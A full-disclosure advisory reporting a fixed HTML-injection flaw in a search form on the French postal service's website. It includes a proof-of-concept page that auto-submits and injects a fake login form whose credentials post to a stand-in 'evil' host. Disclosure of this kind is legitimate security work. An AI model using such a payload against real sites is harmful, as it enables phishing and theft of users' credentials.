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[Full-disclosure] XSS vulnerability on laposte.fr

Website: laposte.fr
Version: -
Enterprise website:http://www.laposte.fr
Status: fixed
Level: Low

=========
Description
=========
La Poste is the main french firm mail services.


=========
Details
=========
The search form in international posting section is vulnerable to XSS
vulnerability:
http://www.laposte.fr/courrierinternational/index.php?id=416

Due to an improper sanitization, search field can be used with an XSS attack.

Javascript is correcly filtered, but HTML Tag not.


=========
Example
=========
A forged email can be send like that:

<html>
<form name="hahaha" method="post"
action="http://www.laposte.fr/courrierinternational/index.php?id=416";>
<input name="tx_indexedsearch[sword]" id="rechercheAv"
value='"></form><br><br><form method="post"
action="http://evil/getcredentials.php";><div class="formLog"><fieldset
class="fieldsetForm"><legend>Veuillez Vous identifier</legend><label
for="login" class="navCachee">Identifiant</label><input type="text"
name="user" id="login" value="Email" class="inputSmall"/><br /><label
for="password" class="navCachee">Mot de passe</label><input value="mot
de passe" type="password"/><br /><input type="submit" id="ok"
name="submit" value="Se connecter" class="buttonSmall" /></form><!--'
class="input" type="hidden" />
</form>
<script>
document.hahaha.submit();
</script>
</html>


Timeline
=========
09/10/2012: bug report with POC
02/11/2012: Vulnerability fixed after several email because they
didn't understand the risk (This a POST parameter, how can I be
vulnerable, evil must be behind the victim!)
05/12/2012: Advisory published

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